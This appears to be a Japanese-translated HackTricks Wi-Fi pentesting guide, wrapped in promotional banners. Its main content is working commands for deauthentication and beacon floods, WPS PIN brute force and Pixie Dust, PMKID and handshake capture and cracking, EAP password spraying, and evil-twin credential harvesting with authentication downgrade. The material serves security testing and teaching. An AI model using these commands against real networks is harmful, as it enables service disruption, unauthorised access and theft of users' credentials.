.. | ||
evil-twin-eap-tls.md | ||
README.md |
Pentesting Wifi
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
Real-Time Hack News
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握してください
Latest Announcements
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
Join us on Discord and start collaborating with top hackers today!
Wifi basic commands
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
ツール
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Dockerでairgeddonを実行する
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
Evil Twin、KARMA、既知ビーコン攻撃を実行し、フィッシングテンプレートを使用してネットワークの本当のパスワードを取得したり、ソーシャルネットワークの認証情報をキャプチャしたりすることができます。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
このツールはWPS/WEP/WPA-PSK攻撃を自動化します。自動的に以下を行います:
- インターフェースをモニターモードに設定
- 可能なネットワークをスキャン - 被害者を選択できます
- WEPの場合 - WEP攻撃を開始
- WPA-PSKの場合
- WPSの場合:Pixie dust攻撃とブルートフォース攻撃(ブルートフォース攻撃は時間がかかる可能性があるため注意してください)。ヌルPINやデータベース/生成されたPINを試みないことに注意してください。
- APからPMKIDをキャプチャしてクラックを試みる
- APのクライアントを非認証にしてハンドシェイクをキャプチャする
- PMKIDまたはハンドシェイクがあれば、上位5000のパスワードを使用してブルートフォースを試みる。
攻撃の概要
- DoS
- 非認証/非関連付け -- すべての人を切断(または特定のESSID/クライアント)
- ランダムな偽AP -- ネットを隠す、スキャナーをクラッシュさせる可能性
- APを過負荷にする -- APを殺そうとする(通常あまり役に立たない)
- WIDS -- IDSで遊ぶ
- TKIP, EAPOL -- 一部のAPに対する特定のDoS攻撃
- クラック
- WEPをクラック(いくつかのツールと方法)
- WPA-PSK
- WPS PIN "ブルートフォース"
- WPA PMKID ブルートフォース
- [DoS +] WPAハンドシェイクキャプチャ + クラック
- WPA-MGT
- ユーザー名キャプチャ
- ブルートフォース 認証情報
- イービルツイン(DoSの有無にかかわらず)
- オープン イービルツイン [+ DoS] -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
- WPA-PSK イービルツイン -- パスワードを知っていればネットワーク攻撃に便利
- WPA-MGT -- 会社の認証情報をキャプチャするのに便利
- KARMA, MANA, Loud MANA, Known beacon
- + オープン -- キャプティブポータルの認証情報をキャプチャしたり、LAN攻撃を行うのに便利
- + WPA -- WPAハンドシェイクをキャプチャするのに便利
DOS
非認証パケット
説明は こちらから:.
非認証攻撃は、Wi-Fiハッキングで一般的な手法であり、「管理」フレームを偽造してネットワークからデバイスを強制的に切断します。これらの暗号化されていないパケットは、クライアントを正当なネットワークからのものであると信じ込ませ、攻撃者がクラック目的でWPAハンドシェイクを収集したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この戦術は、その単純さにおいて驚くべきものであり、広く使用されており、ネットワークセキュリティに重大な影響を与えます。
Aireplay-ngを使用した非認証
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0は非認証を意味します
- 1は送信する非認証の数です(必要に応じて複数送信できます);0は継続的に送信することを意味します
- -a 00:14:6C:7E:40:80はアクセスポイントのMACアドレスです
- -c 00:0F:B5:34:30:30は非認証するクライアントのMACアドレスです;これが省略されると、ブロードキャスト非認証が送信されます(常に機能するわけではありません)
- ath0はインターフェース名です
切断パケット
切断パケットは、非認証パケットと同様に、Wi-Fiネットワークで使用される管理フレームの一種です。これらのパケットは、デバイス(ラップトップやスマートフォンなど)とアクセスポイント(AP)との接続を切断するために使用されます。切断と非認証の主な違いは、その使用シナリオにあります。APがネットワークから不正なデバイスを明示的に削除するために非認証パケットを発信する一方で、切断パケットは通常、APがシャットダウン、再起動、または移動している際に送信され、すべての接続ノードの切断が必要となります。
この攻撃はmdk4(モード"d")によって実行できます:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4によるさらなるDOS攻撃
ここに あります。
攻撃モード b: ビーコ flood
クライアントに偽のAPを表示するためにビーコフレームを送信します。これにより、ネットワークスキャナーやドライバーがクラッシュすることがあります!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: 認証サービス拒否
範囲内のすべてのアクセス・ポイント(AP)に認証フレームを送信することで、特に多数のクライアントが関与している場合、これらのAPを過負荷にすることができます。この激しいトラフィックはシステムの不安定性を引き起こし、一部のAPがフリーズしたり、リセットされたりする原因となります。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
アクセスポイント(AP)のプロービングは、SSIDが適切に公開されているかを確認し、APの範囲を確認します。この技術は、隠されたSSIDのブルートフォースを単語リストの有無にかかわらず組み合わせることで、隠されたネットワークを特定しアクセスするのに役立ちます。
ATTACK MODE m: Michael Countermeasures Exploitation
ランダムまたは重複したパケットを異なるQoSキューに送信することで、TKIP APs上でマイケル対策をトリガーし、1分間のAPシャットダウンを引き起こすことがあります。この方法は、効率的なDoS(サービス拒否)攻撃戦術です。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
APにEAPOL Startフレームを洪水させることで偽のセッションが作成され、APが圧倒され、正当なクライアントがブロックされます。あるいは、偽のEAPOL Logoffメッセージを注入することでクライアントを強制的に切断し、どちらの方法もネットワークサービスを効果的に妨害します。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: IEEE 802.11s メッシュネットワークに対する攻撃
メッシュネットワークにおけるリンク管理とルーティングに対するさまざまな攻撃。
ATTACK MODE w: WIDS 混乱
クライアントを複数の WDS ノードや偽のロゲ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱と潜在的なシステムの悪用を引き起こすことができます。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
パケット操作のための多様なパケットソースと包括的な修飾子を備えたパケットファズァ。
Airggedon
Airgeddon は、前のコメントで提案されたほとんどの攻撃を提供します:
WPS
WPS (Wi-Fi Protected Setup) は、デバイスをルーターに接続するプロセスを簡素化し、WPA または WPA2 Personal で暗号化されたネットワークのセットアップ速度と容易さを向上させます。WEPセキュリティに対しては効果がありません。WPSは8桁のPINを使用し、2つの半分で検証されるため、組み合わせの数が限られている(11,000通り)ため、ブルートフォース攻撃に対して脆弱です。
WPS Bruteforce
このアクションを実行するための主なツールは2つあります:Reaver と Bully。
- Reaver は、WPSに対する堅牢で実用的な攻撃として設計されており、さまざまなアクセスポイントやWPS実装に対してテストされています。
- Bully は、Cで書かれたWPSブルートフォース攻撃の新しい実装です。元のReaverコードに対していくつかの利点があります:依存関係が少ない、メモリとCPUのパフォーマンスが向上、エンディアンの正しい処理、より堅牢なオプションセット。
この攻撃は、WPS PINの脆弱性を利用し、特に最初の4桁の露出と最後の桁のチェックサムとしての役割がブルートフォース攻撃を容易にします。しかし、攻撃者の攻撃的なMACアドレスをブロックするなどのブルートフォース攻撃に対する防御は、攻撃を続けるためにMACアドレスのローテーションを要求します。
BullyやReaverのようなツールでWPS PINを取得すると、攻撃者はWPA/WPA2 PSKを推測でき、持続的なネットワークアクセスを確保します。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
スマートブルートフォース
この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします:
- 事前発見されたPIN: 特定のメーカーに関連する既知のPINのデータベースを利用し、均一なWPS PINを使用することで知られるメーカーにリンクします。このデータベースは、MACアドレスの最初の3オクテットをこれらのメーカーの可能性のあるPINと相関させます。
- PIN生成アルゴリズム: APのMACアドレスに基づいてWPS PINを計算するComputePINやEasyBoxのようなアルゴリズムを活用します。Arcadyanアルゴリズムは、デバイスIDも必要とし、PIN生成プロセスに層を追加します。
WPSピクシーダスト攻撃
ドミニク・ボンガールは、秘密コードの作成に関するいくつかのアクセスポイント(AP)の欠陥を発見しました。これらはノンス(E-S1およびE-S2)として知られています。これらのノンスが特定できれば、APのWPS PINを解読するのが容易になります。APは、正当であり偽の(ロゲ)APではないことを証明するために、特別なコード(ハッシュ)内にPINを公開します。これらのノンスは、WPS PINを保持する「金庫」を解錠するための「鍵」として本質的に機能します。詳細はこちらで確認できます。
簡単に言えば、問題は、いくつかのAPが接続プロセス中にPINを暗号化するために十分にランダムな鍵を使用しなかったことです。これにより、PINがネットワーク外から推測される脆弱性が生じます(オフラインブルートフォース攻撃)。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
デバイスをモニターモードに切り替えたくない場合や、reaver
やbully
に問題がある場合は、OneShot-Cを試すことができます。このツールは、モニターモードに切り替えることなくPixie Dust攻撃を実行できます。
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin攻撃
一部の設計が不十分なシステムでは、Null PIN(空のまたは存在しないPIN)がアクセスを許可することさえあります。これは非常に異常です。この脆弱性をテストすることができるツールはReaverであり、Bullyではありません。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
提案されたすべてのWPS攻撃は、_airgeddon_を使用して簡単に実行できます。
- 5と6は、あなたのカスタムPINを試すことができます(もしあれば)
- 7と8は、Pixie Dust攻撃を実行します
- 13は、NULL PINをテストすることができます
- 11と12は、利用可能なデータベースから選択したAPに関連するPINを再収集し、ComputePIN、EasyBox、オプションでArcadyan(推奨、なぜなら?)を使用して可能なPINを生成します
- 9と10は、すべての可能なPINをテストします
WEP
今では壊れていて使用されていません。_airgeddon_には、この種の保護を攻撃するための「All-in-One」と呼ばれるWEPオプションがあることを知っておいてください。多くのツールが同様のオプションを提供しています。
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加してください!
ハッキングの洞察
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていきましょう
最新のお知らせ
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
Discordで私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう!
WPA/WPA2 PSK
PMKID
2018年、hashcatは新しい攻撃方法を明らかにしました。この方法は、1つのパケットだけを必要とし、ターゲットAPに接続されているクライアントを必要としないため、ユニークです—攻撃者とAPの間の相互作用だけが必要です。
多くの現代のルーターは、関連付け中に最初のEAPOLフレームにRobust Security Network
として知られるオプションフィールドを追加します。これにはPMKID
が含まれます。
元の投稿が説明しているように、PMKIDは既知のデータを使用して作成されます:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
与えられた「PMK名」が一定であるため、APとステーションのBSSIDがわかり、PMK
が完全な4-wayハンドシェイクのものと同一である場合、hashcatはこの情報を使用してPSKをクラッキングし、パスフレーズを回復できます!
この情報を収集し、パスワードをローカルでブルートフォースするには、次のようにします:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
キャプチャされた PMKIDs は コンソール に表示され、また /tmp/attack.pcap 内に 保存 されます。
次に、キャプチャを hashcat/john 形式に変換し、クラックします:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
正しいハッシュの形式は4つの部分を含むことに注意してください。例: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
あなたのものが3つの部分しか含まれていない場合、それは無効です(PMKIDキャプチャが無効でした)。
hcxdumptool
はハンドシェイクもキャプチャします(このようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091
)。あなたはcap2hccapx
を使用してハンドシェイクをhashcat/john形式に変換することができます。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.
Handshake capture
WPA/WPA2ネットワークに対する攻撃は、handshakeをキャプチャし、パスワードをofflineでcrackしようとすることで実行できます。このプロセスは、特定のネットワークと特定のchannel上のBSSIDの通信を監視することを含みます。以下は簡潔なガイドです:
- ターゲットネットワークのBSSID、channel、およびconnected clientを特定します。
- 指定されたchannelとBSSIDでネットワークトラフィックを監視するために
airodump-ng
を使用し、handshakeをキャプチャすることを期待します。コマンドは次のようになります:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- ハンドシェイクをキャプチャする確率を高めるために、クライアントをネットワークから一時的に切断して再認証を強制します。これは、クライアントに対して非認証パケットを送信する
aireplay-ng
コマンドを使用して行うことができます:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.
airodump-ng
にハンドシェイク情報が表示されると、これはハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:
ハンドシェイクがキャプチャされたら、aircrack-ng
でクラックできます:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
ファイル内のハンドシェイクを確認する
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
このツールがESSIDの未完了ハンドシェイクを完了したものの前に見つけた場合、有効なものを検出しません。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPA Enterprise (MGT)
エンタープライズWiFi設定では、さまざまな認証方法に出会います。 各方法は異なるセキュリティレベルと管理機能を提供します。airodump-ng
のようなツールを使用してネットワークトラフィックを検査すると、これらの認証タイプの識別子に気付くかもしれません。一般的な方法には次のものが含まれます:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートします。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードを平文でアクセスポイントに送信するため、ダウングレード攻撃のリスクがあります。
- EAP-MD5 (Message Digest 5):
- クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、セッション固有のWEPキーを生成できないため、推奨されません。
- EAP-TLS (Transport Layer Security):
- 認証のためにクライアント側とサーバー側の証明書の両方を利用し、通信を保護するためにユーザー基盤およびセッション基盤のWEPキーを動的に生成できます。
- EAP-TTLS (Tunneled Transport Layer Security):
- 暗号化されたトンネルを通じて相互認証を提供し、動的なユーザーごとのセッションごとのWEPキーを導出する方法を提供します。サーバー側の証明書のみが必要で、クライアントは資格情報を使用します。
- PEAP (Protected Extensible Authentication Protocol):
- EAPと同様に、保護された通信のためにTLSトンネルを作成します。トンネルによって提供される保護のため、EAPの上に弱い認証プロトコルを使用することができます。
- PEAP-MSCHAPv2: 一般にPEAPと呼ばれ、脆弱なMSCHAPv2チャレンジ/レスポンスメカニズムと保護的なTLSトンネルを組み合わせています。
- PEAP-EAP-TLS (またはPEAP-TLS): EAP-TLSに似ていますが、証明書を交換する前にTLSトンネルを開始し、追加のセキュリティ層を提供します。
これらの認証方法についての詳細はこちらとこちらで確認できます。
ユーザー名のキャプチャ
https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、「アイデンティティ」 メッセージはサポートされている必要があり、ユーザー名は**「レスポンスアイデンティティ」メッセージでクリア**で送信されることがわかります。
最も安全な認証方法の1つであるPEAP-EAP-TLSを使用しても、EAPプロトコルで送信されたユーザー名をキャプチャすることが可能です。そのためには、認証通信をキャプチャします(チャンネル内でairodump-ng
を開始し、同じインターフェースでwireshark
を使用)し、パケットをeapol
でフィルタリングします。
「レスポンス、アイデンティティ」パケット内に、クライアントのユーザー名が表示されます。
匿名アイデンティティ
アイデンティティの隠蔽は、EAP-PEAPとEAP-TTLSの両方でサポートされています。WiFiネットワークの文脈では、EAP-アイデンティティリクエストは通常、関連プロセス中にアクセスポイント(AP)によって開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、初期RADIUSサーバーがリクエストを処理するために必要な基本情報のみが含まれます。この概念は、以下のシナリオを通じて示されています:
- EAP-アイデンティティ = anonymous
- このシナリオでは、すべてのユーザーが擬似的な「anonymous」をユーザー識別子として使用します。初期RADIUSサーバーは、PEAPまたはTTLSプロトコルのサーバー側を管理するEAP-PEAPまたはEAP-TTLSサーバーとして機能します。内部(保護された)認証方法は、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。
- EAP-アイデンティティ = anonymous@realm_x
- この状況では、異なるレルムのユーザーがそれぞれのレルムを示しながらアイデンティティを隠します。これにより、初期RADIUSサーバーはEAP-PEAPまたはEAP-TTLSリクエストをそれぞれのホームレルムのRADIUSサーバーにプロキシし、PEAPまたはTTLSサーバーとして機能します。初期RADIUSサーバーは、RADIUSリレーノードとしてのみ機能します。
- あるいは、初期RADIUSサーバーがEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーに転送することもできます。このオプションは、さまざまなレルムに対して異なるポリシーを構成するのに役立ちます。
EAP-PEAPでは、PEAPサーバーとPEAPクライアントの間にTLSトンネルが確立されると、PEAPサーバーはEAP-アイデンティティリクエストを開始し、それをTLSトンネルを通じて送信します。クライアントは、この2回目のEAP-アイデンティティリクエストに対して、暗号化されたトンネルを通じてユーザーの真のアイデンティティを含むEAP-アイデンティティレスポンスを送信します。このアプローチは、802.11トラフィックを傍受している誰にもユーザーの実際のアイデンティティが明らかになるのを効果的に防ぎます。
EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントはトンネル確立後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
選択されたプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの真のアイデンティティを知ることになります。真のアイデンティティはuser@realmまたは単にuserとして表現できます。PEAP/TTLSサーバーがユーザーの認証も担当している場合、ユーザーのアイデンティティを持ち、TLSトンネルによって保護された認証方法を進めます。あるいは、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することがあります。この新しいRADIUSリクエストは、PEAPまたはTTLSプロトコル層を省略します。保護された認証方法がEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、受信したRADIUSリクエストからの匿名User-Nameが置き換えられ、ユーザーの真のアイデンティティが含まれます。保護された認証方法がPAPまたはCHAP(TTLSのみサポート)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が送信されるRADIUSメッセージに置き換えられ、受信したRADIUSリクエストに見られる匿名User-NameおよびTTLS EAP-Message属性が置き換えられます。
詳細についてはhttps://www.interlinknetworks.com/app_notes/eap-peap.htmを確認してください。
EAP-ブルートフォース(パスワードスプレー)
クライアントがユーザー名とパスワードを使用することが期待される場合(この場合、EAP-TLSは無効になります)、ユーザー名のリスト(次の部分を参照)とパスワードを取得し、air-hammerを使用してアクセスをブルートフォース**することができます。
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
この攻撃は eaphammer
を使用しても行うことができます:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
クライアント攻撃理論
ネットワーク選択とローミング
- 802.11プロトコルは、ステーションが拡張サービスセット(ESS)に参加する方法を定義していますが、ESSまたはその中のアクセスポイント(AP)を選択する基準は指定していません。
- ステーションは、同じESSIDを共有するAP間をローミングし、建物やエリア全体で接続を維持できます。
- プロトコルはESSへのステーション認証を要求しますが、ステーションへのAP認証を義務付けていません。
優先ネットワークリスト(PNL)
- ステーションは、接続したすべてのワイヤレスネットワークのESSIDを優先ネットワークリスト(PNL)に保存し、ネットワーク固有の設定詳細も含まれます。
- PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを簡素化することでユーザーの体験を向上させます。
パッシブスキャン
- APは定期的にビーコーフレームをブロードキャストし、その存在と機能を通知します。これにはAPのESSIDが含まれますが、ブロードキャストが無効になっている場合は除きます。
- パッシブスキャン中、ステーションはビーコーフレームをリスニングします。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続することがあります。
- デバイスのPNLの知識は、既知のネットワークのESSIDを模倣することで潜在的な悪用を可能にし、デバイスをロゲAPに接続させることができます。
アクティブプロービング
- アクティブプロービングは、ステーションが近くのAPとその特性を発見するためにプローブリクエストを送信することを含みます。
- 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます。たとえそれが隠れたネットワークであってもです。
- ブロードキャストプローブリクエストは空のSSIDフィールドを持ち、すべての近くのAPに送信され、ステーションはPNLの内容を開示することなく、任意の優先ネットワークをチェックできます。
インターネットへのリダイレクトを伴うシンプルなAP
より複雑な攻撃を実行する方法を説明する前に、APを作成し、そのトラフィックをインターネットに接続されたインターフェースにリダイレクトする方法を説明します。
ifconfig -a
を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
/etc/dnsmasq.conf
という設定ファイルを作成します:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
次にIPとルートを設定します:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
そしてstart dnsmasq:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
hostapd.conf
という設定ファイルを作成します:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
煩わしいプロセスを停止し、モニターモードを設定し、hostapdを開始します:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
転送とリダイレクション
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Evil Twin
イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を利用し、主にネットワーク名(ESSID)に依存し、ベースステーション(アクセスポイント)がクライアントに対して認証を行う必要がありません。主なポイントは以下の通りです:
- 区別の難しさ: デバイスは、同じESSIDと暗号化タイプを共有する正当なアクセスポイントと悪意のあるアクセスポイントを区別するのに苦労します。実際のネットワークでは、カバレッジをシームレスに拡張するために、同じESSIDを持つ複数のアクセスポイントを使用することがよくあります。
- クライアントのローミングと接続操作: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングすることを可能にします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供したり、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
- 実行の課題: 複数の適切に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、悪意のあるアクセスポイントを戦略的に配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。
非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はなし)を作成することができます:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
あなたはeaphammerを使用してEvil Twinを作成することもできます(Evil Twinをeaphammerで作成するには、インターフェースはモニターモードであってはなりません)。
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).
デフォルトでは、PNLにESSIDがWPA保護として保存されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPにDoS攻撃を試み、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPにDoS攻撃を行い、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKがわからないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます)。
一部のOSやAVは、オープンネットワークに接続することが危険であるとユーザーに警告します...
WPA/WPA2 Evil Twin
WPA/2を使用してEvil Twinを作成することができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。いずれにせよ、4-way-handshakeを完了するためには、クライアントが使用するパスワードを知っている必要があります。知らない場合、接続は完了しません。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
エンタープライズイービルツイン
この攻撃を理解するために、まずWPAエンタープライズの説明を読むことをお勧めします。
hostapd-wpeの使用
hostapd-wpe
は動作するために設定ファイルが必要です。これらの設定の生成を自動化するには、https://github.com/WJDigby/apd_launchpadを使用できます(_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください)。
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
設定ファイルでは、ssid、チャネル、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます。
EAP-TLSを使用して任意の証明書でログインを許可するhostapd-wpeの使用。
EAPHammerの使用
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
デフォルトでは、EAPHammerはこの認証方法を目的としています(最初に平文パスワードを取得しようとするGTCに注意し、その後により堅牢な認証方法を使用します):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
これは長い接続時間を避けるためのデフォルトの方法論です。ただし、認証方法を最も弱いものから最も強いものへ指定することもできます:
--negotiate weakest
Or you could also use:
--negotiate gtc-downgrade
